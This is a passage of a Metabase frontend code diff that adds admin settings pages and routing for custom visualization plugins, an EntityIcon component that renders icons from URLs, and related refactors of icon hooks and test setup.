+ return <CustomVizEmptyState />;
+ }
+
+ return <PLUGIN_CUSTOM_VIZ.CustomVizPage params={params} />;
+}
+
+export function CustomVisualizationsDevelopmentPage() {
+ const hasCustomVizAvailable = useHasTokenFeature("custom-viz-available");
+ const customVizFeatureLoaded = useHasTokenFeature("custom-viz");
+
+ if (!hasCustomVizAvailable) {
+ return (
+ <SettingsPageWrapper title={t`Custom visualizations`}>
+ <UpsellCustomViz location="settings-custom-viz" />
+ </SettingsPageWrapper>
+ );
+ }
+
+ if (!customVizFeatureLoaded) {
+ return <CustomVizEmptyState />;
+ }
+
+ return <PLUGIN_CUSTOM_VIZ.CustomVizDevPage />;
+}
+
+const CUSTOM_VIZ_ENABLED_SETTING = "custom-viz-enabled";
+
+function CustomVizEmptyState() {
+ const { updateSetting } = useAdminSetting(CUSTOM_VIZ_ENABLED_SETTING);
+ const { sendErrorToast } = useMetadataToasts();
+
+ const handleEnable = async () => {
+ const { error } = await updateSetting({
+ key: CUSTOM_VIZ_ENABLED_SETTING,
+ value: true,
+ toast: false,
+ });
+
+ if (error) {
+ sendErrorToast(t`Failed to enable custom visualizations`);
+ } else {
+ window.location.reload();
+ }
+ };
+
+ return (
+ <SettingsPageWrapper title={t`Custom visualizations`}>
+ <Card bg="background-primary" p={48} maw={640} withBorder>
+ <Stack gap="3rem">
+ <Stack gap="md">
+ <Stack gap="sm">
+ <Title order={3}>{t`Enable custom visualizations`}</Title>
+ <Text c="text-secondary" lh="1.25rem">
+ {t`Show your data the way you need to with custom visualizations. Use the custom viz SDK to build visualization plugins and upload them here as packaged bundles (.tgz).`}
+ </Text>
+ <Text fw="bold" lh="1.25rem">
+ {t`Be aware that custom visualizations can execute arbitrary code, and should only be added from trusted sources.`}
+ </Text>
+ </Stack>
+ <Group gap="sm">
+ <Button variant="filled" onClick={handleEnable}>
+ {t`Enable custom visualizations`}
+ </Button>
+ </Group>
+ </Stack>
+ <SimpleGrid cols={2} spacing="sm">
+ <FeatureCard
+ icon="lineandbar"
+ title={t`Custom chart types`}
+ description={t`Create visualization types designed for your specific data and use cases`}
+ />
+ <FeatureCard
+ icon="code_block"
+ title={t`SDK-based development`}
+ description={t`Build plugins with the Custom Visualizations SDK`}
+ />
+ <FeatureCard
+ icon="upload"
+ title={t`Bundle uploads`}
+ description={t`Publish custom visualizations by uploading packaged plugin bundles (.tgz)`}
+ />
+ <FeatureCard
+ icon="gear"
+ title={t`Full control`}
+ description={t`Enable, disable, and manage custom visualization plugins`}
+ />
+ </SimpleGrid>
+ </Stack>
+ </Card>
+ </SettingsPageWrapper>
+ );
+}
+
+type FeatureCardProps = {
+ icon: IconName;
+ title: string;
+ description: string;
+};
+
+function FeatureCard({ icon, title, description }: FeatureCardProps) {
+ return (
+ <Paper bg="background-secondary" p="md" radius="md" shadow="none">
+ <Group gap="sm" align="flex-start" wrap="nowrap">
+ <Icon name={icon} size={16} c="brand" style={{ flexShrink: 0 }} />
+ <Stack gap="xs">
+ <Text fw="bold" lh="1rem">
+ {title}
+ </Text>
+ <Text c="text-secondary" lh="1rem">
+ {description}
+ </Text>
+ </Stack>
+ </Group>
+ </Paper>
+ );
+}
diff --git a/frontend/src/metabase/admin/settings/tests/setup.tsx b/frontend/src/metabase/admin/settings/tests/setup.tsx
index 647641ffc33..b4c2cac6d80 100644
--- a/frontend/src/metabase/admin/settings/tests/setup.tsx
+++ b/frontend/src/metabase/admin/settings/tests/setup.tsx
@@ -1,4 +1,6 @@
+import { render as testingLibraryRender } from "@testing-library/react";
import fetchMock from "fetch-mock";
+import type { ReactNode } from "react";
import { Route } from "react-router";
import {
@@ -21,7 +23,7 @@ import {
} from "__support__/server-mocks";
import { setupWebhookChannelsEndpoint } from "__support__/server-mocks/channel";
import { mockSettings } from "__support__/settings";
-import { renderWithProviders, screen } from "__support__/ui";
+import { getTestStoreAndWrapper, screen } from "__support__/ui";
import { getSettingsRoutes } from "metabase/admin/settingsRoutes";
import { createMockState } from "metabase/redux/store/mocks";
import type { TokenFeature, TokenFeatures } from "metabase-types/api";
@@ -157,7 +159,7 @@ export const setup = async ({
is_superuser: isAdmin,
});
- const store = createMockState({
+ const initialState = createMockState({
currentUser: user,
settings: mockSettings(settings),
});
@@ -171,13 +173,21 @@ export const setup = async ({
setupTokenStatusEndpoint({ valid: hasTokenFeatures });
}
- renderWithProviders(
- <Route path="admin/settings">{getSettingsRoutes()}</Route>,
- {
- storeInitialState: store,
- withRouter: true,
- initialRoute: `/admin/settings${initialRoute}`,
- },
+ const { wrapper, store } = getTestStoreAndWrapper({
+ storeInitialState: initialState,
+ withRouter: true,
+ initialRoute: `/admin/settings${initialRoute}`,
+ });
+
+ const PassThroughGuard = ({ children }: { children: ReactNode }) => (
+ <>{children}</>
+ );
+
+ testingLibraryRender(
+ <Route path="admin/settings">
+ {getSettingsRoutes(store, PassThroughGuard)}
+ </Route>,
+ { wrapper },
);
await screen.findByTestId("admin-layout-content");
diff --git a/frontend/src/metabase/admin/settingsRoutes.tsx b/frontend/src/metabase/admin/settingsRoutes.tsx
index 5e7fcb5127a..1685ebb288c 100644
--- a/frontend/src/metabase/admin/settingsRoutes.tsx
+++ b/frontend/src/metabase/admin/settingsRoutes.tsx
@@ -1,4 +1,10 @@
-import { IndexRedirect, Route } from "react-router";
+import type { Store } from "@reduxjs/toolkit";
+import {
+ IndexRedirect,
+ IndexRoute,
+ Route,
+ type RouteComponent,
+} from "react-router";
import { AdminSettingsLayout } from "metabase/admin/components/AdminLayout/AdminSettingsLayout";
import { NotFound } from "metabase/common/components/ErrorPages";
@@ -7,6 +13,8 @@ import {
PLUGIN_REMOTE_SYNC,
PLUGIN_TRANSFORMS_PYTHON,
} from "metabase/plugins";
+import type { State } from "metabase/redux/store";
+import { getSetting } from "metabase/selectors/settings";
import { GoogleAuthForm } from "./settings/auth/components/GoogleAuthForm";
import { SettingsLdapForm } from "./settings/components/SettingsLdapForm";
@@ -14,6 +22,11 @@ import { SettingsNav } from "./settings/components/SettingsNav";
import { AppearanceSettingsPage } from "./settings/components/SettingsPages/AppearanceSettingsPage";
import { AuthenticationSettingsPage } from "./settings/components/SettingsPages/AuthenticationSettingsPage";
import { CloudSettingsPage } from "./settings/components/SettingsPages/CloudSettingsPage";
+import {
+ CustomVisualizationsDevelopmentPage,
+ CustomVisualizationsFormPage,
+ CustomVisualizationsManagePage,
+} from "./settings/components/SettingsPages/CustomVisualizationsSettingsPage";
import { EmailSettingsPage } from "./settings/components/SettingsPages/EmailSettingsPage";
import { GeneralSettingsPage } from "./settings/components/SettingsPages/GeneralSettingsPage";
import { LicenseSettingsPage } from "./settings/components/SettingsPages/LicenseSettingsPage";
@@ -25,73 +38,98 @@ import { UpdatesSettingsPage } from "./settings/components/SettingsPages/Updates
import { UploadSettingsPage } from "./settings/components/SettingsPages/UploadSettingsPage";
import { WebhooksSettingsPage } from "./settings/components/SettingsPages/WebhooksSettingsPage";
-export const getSettingsRoutes = () => (
- <Route
- component={({ children }) => (
- <AdminSettingsLayout sidebar={<SettingsNav />}>
- {children}
- </AdminSettingsLayout>
- )}
- >
- <IndexRedirect to="general" />
- <Route path="general" component={GeneralSettingsPage} />
- <Route path="updates" component={UpdatesSettingsPage} />
- <Route path="email" component={EmailSettingsPage} />
- <Route path="slack" component={SlackSettingsPage} />
- <Route path="webhooks" component={WebhooksSettingsPage} />
- <Route
- path="authentication"
- component={() => <AuthenticationSettingsPage tab="authentication" />}
- />
- <Route
- path="authentication/user-provisioning"
- component={() => <AuthenticationSettingsPage tab="user-provisioning" />}
- />
- <Route
- path="authentication/api-keys"
- component={() => <AuthenticationSettingsPage tab="api-keys" />}
- />
- <Route path="authentication/google" component={GoogleAuthForm} />
- <Route path="authentication/ldap" component={SettingsLdapForm} />
- <Route
- path="authentication/saml"
- component={() => <PLUGIN_AUTH_PROVIDERS.SettingsSAMLForm />}
- />
- <Route
- path="authentication/jwt"
- component={() => <PLUGIN_AUTH_PROVIDERS.SettingsJWTForm />}
- />
- <Route
- path="authentication/oidc"
- component={() => <PLUGIN_AUTH_PROVIDERS.SettingsOIDCForm />}
- />
- <Route
- path="remote-sync"
- component={() => <PLUGIN_REMOTE_SYNC.RemoteSyncSettings />}
- />
- <Route path="maps" component={MapsSettingsPage} />
- <Route path="localization" component={LocalizationSettingsPage} />
- <Route path="uploads" component={UploadSettingsPage} />
- <Route
- path="python-runner"
- component={PLUGIN_TRANSFORMS_PYTHON.PythonRunnerSettingsPage}
- />
- <Route path="public-sharing" component={PublicSharingSettingsPage} />
- <Route path="license" component={LicenseSettingsPage} />
- <Route path="appearance" component={() => <AppearanceSettingsPage />} />
- <Route
- path="whitelabel"
- component={() => <AppearanceSettingsPage tab="branding" />}
- />
- <Route
- path="whitelabel/branding"
- component={() => <AppearanceSettingsPage tab="branding" />}
- />
+export const getSettingsRoutes = (
+ store: Store<State>,
+ IsAdmin: RouteComponent,
+) => {
+ const devModeEnabled = getSetting(
+ store.getState(),
+ "custom-viz-plugin-dev-mode-enabled",
+ );
+
+ return (
<Route
- path="whitelabel/conceal-metabase"
- component={() => <AppearanceSettingsPage tab="conceal-metabase" />}
- />
- <Route path="cloud" component={CloudSettingsPage} />
- <Route path="*" component={NotFound} />
- </Route>
-);
+ component={({ children }) => (
+ <AdminSettingsLayout sidebar={<SettingsNav />}>
+ {children}
+ </AdminSettingsLayout>
+ )}
+ >
+ <IndexRedirect to="general" />
+ <Route path="general" component={GeneralSettingsPage} />
+ <Route path="updates" component={UpdatesSettingsPage} />
+ <Route path="email" component={EmailSettingsPage} />
+ <Route path="slack" component={SlackSettingsPage} />
+ <Route path="webhooks" component={WebhooksSettingsPage} />
+ <Route
+ path="authentication"
+ component={() => <AuthenticationSettingsPage tab="authentication" />}
+ />
+ <Route
+ path="authentication/user-provisioning"
+ component={() => <AuthenticationSettingsPage tab="user-provisioning" />}
+ />
+ <Route
+ path="authentication/api-keys"
+ component={() => <AuthenticationSettingsPage tab="api-keys" />}
+ />
+ <Route path="authentication/google" component={GoogleAuthForm} />
+ <Route path="authentication/ldap" component={SettingsLdapForm} />
+ <Route
+ path="authentication/saml"
+ component={() => <PLUGIN_AUTH_PROVIDERS.SettingsSAMLForm />}
+ />
+ <Route
+ path="authentication/jwt"
+ component={() => <PLUGIN_AUTH_PROVIDERS.SettingsJWTForm />}
+ />
+ <Route
+ path="authentication/oidc"
+ component={() => <PLUGIN_AUTH_PROVIDERS.SettingsOIDCForm />}
+ />
+ <Route
+ path="remote-sync"
+ component={() => <PLUGIN_REMOTE_SYNC.RemoteSyncSettings />}
+ />
+ <Route path="maps" component={MapsSettingsPage} />
+ <Route path="localization" component={LocalizationSettingsPage} />
+ <Route
+ path="custom-visualizations"
+ /* do not allow users with "Settings access" permissions to access custom viz pages */
+ component={IsAdmin}
+ >
+ <IndexRoute component={CustomVisualizationsManagePage} />
+ <Route path="new" component={CustomVisualizationsFormPage} />
+ <Route path="edit/:id" component={CustomVisualizationsFormPage} />
+ {devModeEnabled && (
+ <Route
+ path="development"
+ component={CustomVisualizationsDevelopmentPage}
+ />
+ )}
+ </Route>
+ <Route path="uploads" component={UploadSettingsPage} />
+ <Route
+ path="python-runner"
+ component={PLUGIN_TRANSFORMS_PYTHON.PythonRunnerSettingsPage}
+ />
+ <Route path="public-sharing" component={PublicSharingSettingsPage} />
+ <Route path="license" component={LicenseSettingsPage} />
+ <Route path="appearance" component={() => <AppearanceSettingsPage />} />
+ <Route
+ path="whitelabel"
+ component={() => <AppearanceSettingsPage tab="branding" />}
+ />
+ <Route
+ path="whitelabel/branding"
+ component={() => <AppearanceSettingsPage tab="branding" />}
+ />
+ <Route
+ path="whitelabel/conceal-metabase"
+ component={() => <AppearanceSettingsPage tab="conceal-metabase" />}
+ />
+ <Route path="cloud" component={CloudSettingsPage} />
+ <Route path="*" component={NotFound} />
+ </Route>
+ );
+};
diff --git a/frontend/src/metabase/admin/upsells/UpsellCustomViz.tsx b/frontend/src/metabase/admin/upsells/UpsellCustomViz.tsx
new file mode 100644
index 00000000000..76f8d970c9e
--- /dev/null
+++ b/frontend/src/metabase/admin/upsells/UpsellCustomViz.tsx
@@ -0,0 +1,32 @@
+import { t } from "ttag";
+
+import { UpsellBanner } from "metabase/common/components/upsells/components";
+import { UPGRADE_URL } from "metabase/common/components/upsells/constants";
+import { useHasTokenFeature } from "metabase/common/hooks";
+import { PLUGIN_ADMIN_SETTINGS } from "metabase/plugins";
+
+export const UpsellCustomViz = ({ location }: { location: string }) => {
+ const hasCustomViz = useHasTokenFeature("custom-viz");
+ const campaign = "custom-viz";
+ const { triggerUpsellFlow } = PLUGIN_ADMIN_SETTINGS.useUpsellFlow({
+ campaign,
+ location,
+ });
+
+ if (hasCustomViz) {
+ return null;
+ }
+
+ return (
+ <UpsellBanner
+ title={t`Build your own visualizations`}
+ campaign={campaign}
+ buttonText={t`Try for free`}
+ buttonLink={UPGRADE_URL}
+ location={location}
+ onClick={triggerUpsellFlow}
+ >
+ {t`Create custom chart types tailored to your data using the Custom visualizations SDK.`}
+ </UpsellBanner>
+ );
+};
diff --git a/frontend/src/metabase/admin/upsells/index.ts b/frontend/src/metabase/admin/upsells/index.ts
index 1d0b93042e1..9b22d39b88e 100644
--- a/frontend/src/metabase/admin/upsells/index.ts
+++ b/frontend/src/metabase/admin/upsells/index.ts
@@ -1,6 +1,7 @@
export * from "./UpsellBetterSupport";
export * from "./UpsellCacheConfig";
export * from "./UpsellCloud";
+export * from "./UpsellCustomViz";
export * from "./UpsellEmailWhitelabel";
export * from "./UpsellEmbeddingTheme";
export * from "./UpsellHosting";
diff --git a/frontend/src/metabase/api/index.ts b/frontend/src/metabase/api/index.ts
index 4cae8f1be70..03193c34905 100644
--- a/frontend/src/metabase/api/index.ts
+++ b/frontend/src/metabase/api/index.ts
@@ -1,5 +1,7 @@
export * from "./action";
export * from "./activity";
+export * from "./ai-entity-analysis";
+export * from "./analytics";
export * from "./api";
export * from "./api-key";
export * from "./automagic-dashboards";
@@ -15,14 +17,16 @@ export * from "./dashboard";
export * from "./database";
export * from "./dataset";
export * from "./document";
-export * from "./glossary";
export * from "./entity-id";
export * from "./field";
+export * from "./glossary";
export * from "./google";
+export * from "./group-table-access-policy";
export * from "./ldap";
export * from "./llm";
export * from "./login-history";
export * from "./measure";
+export * from "./metabot";
export * from "./metric";
export * from "./model-index";
export * from "./moderation";
@@ -32,9 +36,8 @@ export * from "./permission";
export * from "./persist";
export * from "./premium-features";
export * from "./revision";
-export * from "./security-center";
-export * from "./group-table-access-policy";
export * from "./search";
+export * from "./security-center";
export * from "./segment";
export * from "./session";
export * from "./settings";
@@ -48,8 +51,5 @@ export * from "./timeline-event";
export * from "./transform";
export * from "./transform-job";
export * from "./transform-tag";
-export * from "./user-key-value";
export * from "./user";
-export * from "./analytics";
-export * from "./metabot";
-export * from "./ai-entity-analysis";
+export * from "./user-key-value";
diff --git a/frontend/src/metabase/browse/models/ModelsTable.tsx b/frontend/src/metabase/browse/models/ModelsTable.tsx
index bded414592f..6d5af42b7f0 100644
--- a/frontend/src/metabase/browse/models/ModelsTable.tsx
+++ b/frontend/src/metabase/browse/models/ModelsTable.tsx
@@ -5,6 +5,7 @@ import { t } from "ttag";
import { getCollectionName } from "metabase/collections/utils";
import { EllipsifiedCollectionPath } from "metabase/common/components/EllipsifiedPath/EllipsifiedCollectionPath";
+import { EntityIcon } from "metabase/common/components/EntityIcon";
import { EntityItem } from "metabase/common/components/EntityItem";
import { SortableColumnHeader } from "metabase/common/components/ItemsTable/BaseItemsTable";
import {
@@ -18,13 +19,12 @@ import { Columns } from "metabase/common/components/ItemsTable/Columns";
import type { ResponsiveProps } from "metabase/common/components/ItemsTable/utils";
import { Link } from "metabase/common/components/Link";
import { MarkdownPreview } from "metabase/common/components/MarkdownPreview";
-import { getIcon } from "metabase/common/utils/icon";
+import { useGetIcon } from "metabase/hooks/use-icon";
import { useDispatch } from "metabase/redux";
import {
Ellipsified,
FixedSizeIcon,
Flex,
- Icon,
Repeat,
Skeleton,
} from "metabase/ui";
@@ -207,6 +207,7 @@ const ModelRow = ({ model }: { model?: ModelResult }) => {
};
function NameCell({ model }: { model?: ModelResult }) {
+ const getIcon = useGetIcon();
const headingId = `model-${model?.id || "dummy"}-heading`;
const icon = getIcon(model ?? { model: "dataset" }) ?? { name: "folder" };
return (
@@ -224,7 +225,12 @@ function NameCell({ model }: { model?: ModelResult }) {
}}
onClick={preventDefault}
>
- <Icon size={16} {...icon} c="icon-brand" style={{ flexShrink: 0 }} />
+ <EntityIcon
+ size="1rem"
+ {...icon}
+ color="icon-brand"
+ style={{ flexShrink: 0 }}
+ />
{
<EntityItem.Name
name={model?.name || ""}
diff --git a/frontend/src/metabase/collections/components/PinnedItemCard/PinnedItemCard.styled.tsx b/frontend/src/metabase/collections/components/PinnedItemCard/PinnedItemCard.styled.tsx
index b87db671650..bb887773c63 100644
--- a/frontend/src/metabase/collections/components/PinnedItemCard/PinnedItemCard.styled.tsx
+++ b/frontend/src/metabase/collections/components/PinnedItemCard/PinnedItemCard.styled.tsx
@@ -6,7 +6,7 @@ import styled from "@emotion/styled";
import { RawMaybeLink } from "metabase/common/components/Badge/Badge.styled";
import { Card } from "metabase/common/components/Card";
import { MarkdownPreview } from "metabase/common/components/MarkdownPreview";
-import { Box, type BoxProps, Icon } from "metabase/ui";
+import { Box, type BoxProps } from "metabase/ui";
export const ItemCard = styled(Card)``;
@@ -23,12 +23,6 @@ export const ItemLink = styled(RawMaybeLink)<{ to?: string }>`
`}
`;
-export const ItemIcon = styled(Icon)`
- color: var(--mb-color-brand);
- height: 1.5rem;
- width: 1.5rem;
-`;
-
export const ActionsContainer = styled(Box)<BoxProps>`
display: flex;
align-items: center;
diff --git a/frontend/src/metabase/collections/components/PinnedItemCard/PinnedItemCard.tsx b/frontend/src/metabase/collections/components/PinnedItemCard/PinnedItemCard.tsx
index 3a5aa50737e..8f7e098bbb3 100644
--- a/frontend/src/metabase/collections/components/PinnedItemCard/PinnedItemCard.tsx
+++ b/frontend/src/metabase/collections/components/PinnedItemCard/PinnedItemCard.tsx
@@ -7,11 +7,11 @@ import type {
CreateBookmark,
DeleteBookmark,
} from "metabase/collections/types";
+import { EntityIcon } from "metabase/common/components/EntityIcon";
import { EventSandbox } from "metabase/common/components/EventSandbox";
-import { getIcon } from "metabase/common/utils/icon";
+import { useGetIcon } from "metabase/hooks/use-icon";
import { PLUGIN_MODERATION } from "metabase/plugins";
-import { Tooltip } from "metabase/ui";
-import { Flex, type IconName, Skeleton } from "metabase/ui";
+import { Flex, type IconName, Skeleton, Tooltip } from "metabase/ui";
import { modelToUrl } from "metabase/urls";
import type Database from "metabase-lib/v1/metadata/Database";
import type {
@@ -27,7 +27,6 @@ import {
Description,
Header,
ItemCard,
- ItemIcon,
ItemLink,
Title,
} from "./PinnedItemCard.styled";
@@ -93,13 +92,15 @@ function PinnedItemCard({
onClick,
iconForSkeleton,
}: PinnedItemCardProps) {
+ const getIcon = useGetIcon();
const [showTitleTooltip, setShowTitleTooltip] = useState(false);
- const icon =
- iconForSkeleton ??
- getIcon({
- model: item.model,
- moderated_status: item.moderated_status,
- }).name;
+ const iconData = iconForSkeleton
+ ? { name: iconForSkeleton }
+ : getIcon({
+ model: item.model,
+ display: item.display,
+ moderated_status: item.moderated_status,
+ });
const maybeEnableTooltip = (
event: MouseEvent<HTMLDivElement>,
@@ -126,7 +127,7 @@ function PinnedItemCard({
<ItemCard flat>
<Body>
<Header>
- <ItemIcon name={icon as unknown as IconName} />
+ <EntityIcon {...iconData} size="1.5rem" color="brand" />
<ActionsContainer h={item ? undefined : "2rem"}>
{hasActions && (
// This component is used within a `<Link>` component,
diff --git a/frontend/src/metabase/collections/components/PinnedItemCard/PinnedItemCard.unit.spec.tsx b/frontend/src/metabase/collections/components/PinnedItemCard/PinnedItemCard.unit.spec.tsx
index 2e9f188d674..83237af88d0 100644
--- a/frontend/src/metabase/collections/components/PinnedItemCard/PinnedItemCard.unit.spec.tsx
+++ b/frontend/src/metabase/collections/components/PinnedItemCard/PinnedItemCard.unit.spec.tsx
@@ -6,7 +6,7 @@ import {
screen,
getIcon as testGetIcon,
} from "__support__/ui";
-import { getIcon } from "metabase/common/utils/icon";
+import { modelIconMap } from "metabase/common/utils/icon";
import type { CollectionItem, CollectionItemModel } from "metabase-types/api";
import {
createMockCollection,
@@ -93,7 +93,7 @@ function setup({ item = defaultItem, collection = defaultCollection } = {}) {
describe("PinnedItemCard", () => {
it("should show the item's icon", () => {
setup();
- expect(testGetIcon(getIcon(defaultItem).name)).toBeInTheDocument();
+ expect(testGetIcon(modelIconMap[defaultItem.model])).toBeInTheDocument();
});
it("should show the item's name", () => {
diff --git a/frontend/src/metabase/collections/components/PinnedQuestionCard/PinnedQuestionCard.tsx b/frontend/src/metabase/collections/components/PinnedQuestionCard/PinnedQuestionCard.tsx
index 53ece9b24b6..873ff4c8ae3 100644
--- a/frontend/src/metabase/collections/components/PinnedQuestionCard/PinnedQuestionCard.tsx
+++ b/frontend/src/metabase/collections/components/PinnedQuestionCard/PinnedQuestionCard.tsx
@@ -11,8 +11,8 @@ import {
isPreviewShown,
} from "metabase/collections/utils";
import { EventSandbox } from "metabase/common/components/EventSandbox";
-import { getIcon } from "metabase/common/utils/icon";
import CS from "metabase/css/core/index.css";
+import { useGetIcon } from "metabase/hooks/use-icon";
import { PLUGIN_MODERATION } from "metabase/plugins";
import { Box, Flex, Group, Icon, Text } from "metabase/ui";
import { modelToUrl } from "metabase/urls";
@@ -49,6 +49,7 @@ const PinnedQuestionCard = ({
onCreateBookmark,
onDeleteBookmark,
}: PinnedQuestionCardProps): JSX.Element => {
+ const getIcon = useGetIcon();
const isPreview = isPreviewShown(item);
const actionMenu = (
diff --git a/frontend/src/metabase/common/CreateDashboard/CreateDashboardModal.unit.spec.tsx b/frontend/src/metabase/common/CreateDashboard/CreateDashboardModal.unit.spec.tsx
index 54a3b052c6b..5943568d423 100644
--- a/frontend/src/metabase/common/CreateDashboard/CreateDashboardModal.unit.spec.tsx
+++ b/frontend/src/metabase/common/CreateDashboard/CreateDashboardModal.unit.spec.tsx
@@ -4,6 +4,7 @@ import fetchMock from "fetch-mock";
import {
setupCollectionItemsEndpoint,
setupCollectionsEndpoints,
+ setupCustomVizPluginListEndpoint,
setupDatabasesEndpoints,
setupLibraryEndpoints,
setupRecentViewsAndSelectionsEndpoints,
@@ -55,6 +56,7 @@ function setup({ mockCreateDashboardResponse = true } = {}) {
setupRecentViewsAndSelectionsEndpoints([]);
setupLibraryEndpoints();
setupDatabasesEndpoints([]);
+ setupCustomVizPluginListEndpoint();
const onClose = jest.fn();
const settings = mockSettings({});
diff --git a/frontend/src/metabase/common/components/EntityIcon/EntityIcon.tsx b/frontend/src/metabase/common/components/EntityIcon/EntityIcon.tsx
new file mode 100644
index 00000000000..e224aa1773e
--- /dev/null
+++ b/frontend/src/metabase/common/components/EntityIcon/EntityIcon.tsx
@@ -0,0 +1,72 @@
+import type { CSSProperties, HTMLAttributes, ImgHTMLAttributes } from "react";
+
+import type { IconData } from "metabase/common/utils/icon";
+import { Icon, type IconProps } from "metabase/ui";
+import type { ColorName } from "metabase/ui/colors";
+import { maybeColor } from "metabase/ui/utils/colors";
+
+export type EntityIconProps = Omit<IconProps, "name" | "color"> & {
+ name?: IconData["name"];
+ iconUrl?: string;
+ // `(string & {})` keeps `ColorName` autocompletion while still allowing
+ // arbitrary CSS color strings such as hex codes or CSS variables.
+ color?: ColorName | "inherit" | (string & {});
+ size?: string | number;
+ style?: CSSProperties;
+ alt?: string;
+} & Omit<ImgHTMLAttributes<HTMLImageElement>, keyof IconProps>;
+
+function resolveIconMaskColor(color: EntityIconProps["color"]): string {
+ if (!color || color === "inherit") {
+ return "currentColor";
+ }
+ return maybeColor(color) ?? "currentColor";
+}
+
+/**
+ * Renders either a custom visualization icon (via iconUrl) or a standard
+ * Metabase Icon (via name). Drop-in replacement for `<Icon {...iconData} />`
+ * wherever iconUrl may be present.
+ */
+export function EntityIcon({
+ iconUrl,
+ name = "unknown",
+ size = "1rem",
+ color,
+ c,
+ style,
+ alt = "",
+ ...rest
+}: EntityIconProps) {
+ if (iconUrl) {
+ // `c` from Mantine's BoxProps can be a responsive breakpoint object, not
+ // just a string, so guard before using it as a fallback for `color`.
+ const effectiveColor = color ?? (typeof c === "string" ? c : undefined);
+ const backgroundColor = resolveIconMaskColor(effectiveColor);
+
+ return (
+ <span
+ role={alt ? "img" : undefined}
+ aria-label={alt || undefined}
+ aria-hidden={alt ? undefined : "true"}
+ style={{
+ ...style,
+ display: "inline-block",
+ verticalAlign: "middle",
+ width: size,
+ height: size,
+ backgroundColor,
+ maskImage: `url(${iconUrl})`,
+ maskSize: "contain",
+ maskRepeat: "no-repeat",
+ maskPosition: "center",
+ }}
+ {...(rest as HTMLAttributes<HTMLSpanElement>)}
+ />
+ );
+ }
+
+ return (
+ <Icon name={name} size={size} c={color ?? c} style={style} {...rest} />
+ );
+}
diff --git a/frontend/src/metabase/common/components/EntityIcon/index.ts b/frontend/src/metabase/common/components/EntityIcon/index.ts
new file mode 100644
index 00000000000..c264d0c21ea
--- /dev/null
+++ b/frontend/src/metabase/common/components/EntityIcon/index.ts
@@ -0,0 +1 @@
+export { EntityIcon, type EntityIconProps } from "./EntityIcon";
diff --git a/frontend/src/metabase/common/components/EntityItem/EntityItem.tsx b/frontend/src/metabase/common/components/EntityItem/EntityItem.tsx
index 5255cd09a03..7bfc00889b3 100644
--- a/frontend/src/metabase/common/components/EntityItem/EntityItem.tsx
+++ b/frontend/src/metabase/common/components/EntityItem/EntityItem.tsx
@@ -22,11 +22,13 @@ import {
isPreviewShown,
} from "metabase/collections/utils";
import { CheckBox } from "metabase/common/components/CheckBox";
+import { EntityIcon } from "metabase/common/components/EntityIcon";
import { EntityMenu } from "metabase/common/components/EntityMenu";
import { Swapper } from "metabase/common/components/Swapper";
+import type { IconData } from "metabase/common/utils/icon";
import CS from "metabase/css/core/index.css";
import type { IconName, IconProps } from "metabase/ui";
-import { Ellipsified, Icon } from "metabase/ui";
+import { Ellipsified } from "metabase/ui";
import * as Urls from "metabase/urls";
import type { CollectionItem } from "metabase-types/api";
@@ -40,7 +42,7 @@ import {
type EntityIconCheckBoxProps = {
variant?: string;
- icon: IconProps;
+ icon: IconProps | IconData;
pinned?: boolean;
selectable?: boolean;
selected?: boolean;
@@ -78,9 +80,9 @@ const EntityIconCheckBox = ({
{selectable ? (
<Swapper
defaultElement={
- <Icon
- name={icon.name}
- c={icon.color ?? "inherit"}
+ <EntityIcon
+ {...icon}
+ color={icon.color ?? "inherit"}
size={iconSize}
/>
}
@@ -88,7 +90,7 @@ const EntityIconCheckBox = ({
isSwapped={selected || showCheckbox}
/>
) : (
- <Icon name={icon.name} c={icon.color ?? "inherit"} size={iconSize} />
+ <EntityIcon {...icon} color={icon.color ?? "inherit"} size={iconSize} />
)}
</EntityIconWrapper>
);
diff --git a/frontend/src/metabase/common/components/ItemsTable/DefaultItemRenderer.tsx b/frontend/src/metabase/common/components/ItemsTable/DefaultItemRenderer.tsx
index de553581692..3e010bfe156 100644
--- a/frontend/src/metabase/common/components/ItemsTable/DefaultItemRenderer.tsx
+++ b/frontend/src/metabase/common/components/ItemsTable/DefaultItemRenderer.tsx
@@ -5,7 +5,7 @@ import type { OnToggleSelectedWithItem } from "metabase/collections/types";
import { isRootTrashCollection } from "metabase/collections/utils";
import type { BaseItemsTableProps } from "metabase/common/components/ItemsTable/BaseItemsTable";
import { Columns } from "metabase/common/components/ItemsTable/Columns";
-import { getIcon } from "metabase/common/utils/icon";
+import { useGetIcon } from "metabase/hooks/use-icon";
import type Database from "metabase-lib/v1/metadata/Database";
import type { Bookmark, Collection, CollectionItem } from "metabase-types/api";
@@ -38,6 +38,7 @@ export const DefaultItemRenderer = ({
onClick,
visibleColumnsMap,
}: ItemRendererProps) => {
+ const getIcon = useGetIcon();
const canSelect =
(collection?.can_write || isRootTrashCollection(collection)) &&
typeof onToggleSelected === "function";
diff --git a/frontend/src/metabase/common/components/Pickers/EntityPicker/components/ItemLists/ItemList.tsx b/frontend/src/metabase/common/components/Pickers/EntityPicker/components/ItemLists/ItemList.tsx
index c178f895e44..751b4c9eb07 100644
--- a/frontend/src/metabase/common/components/Pickers/EntityPicker/components/ItemLists/ItemList.tsx
+++ b/frontend/src/metabase/common/components/Pickers/EntityPicker/components/ItemLists/ItemList.tsx
@@ -1,6 +1,7 @@
import type React from "react";
import { useMemo } from "react";
+import { EntityIcon } from "metabase/common/components/EntityIcon";
import { LoadingAndErrorWrapper } from "metabase/common/components/LoadingAndErrorWrapper";
import { VirtualizedList } from "metabase/common/components/VirtualizedList";
import { useTranslateContent } from "metabase/i18n/hooks";
@@ -19,7 +20,7 @@ import {
import { useOmniPickerContext } from "../../context";
import type { OmniPickerItem } from "../../types";
-import { getEntityPickerIcon, isSelectedItem } from "../../utils";
+import { isSelectedItem, useGetEntityPickerIcon } from "../../utils";
import { ItemListLoader } from "../LoadingSpinner";
const PickerColumn = ({
@@ -67,6 +68,7 @@ export function ItemList({
}, [items, isHiddenItem]);
const isCurrentLevel = path.length - 2 === pathIndex;
const isTenantUser = useSelector(getIsTenantUser);
+ const getEntityPickerIcon = useGetEntityPickerIcon();
const activeItemIndex = useMemo(() => {
if (!filteredItems || !selectedItem) {
@@ -138,7 +140,7 @@ export function ItemList({
</Flex>
}
active={isSelected}
- leftSection={<Icon {...icon} />}
+ leftSection={<EntityIcon {...icon} />}
onClick={(e: React.MouseEvent) => {
e.preventDefault(); // prevent form submission
e.stopPropagation(); // prevent parent onClick
